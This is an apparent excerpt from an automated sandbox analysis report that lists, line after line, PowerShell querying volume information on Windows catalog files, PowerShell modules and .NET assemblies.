Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0513~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
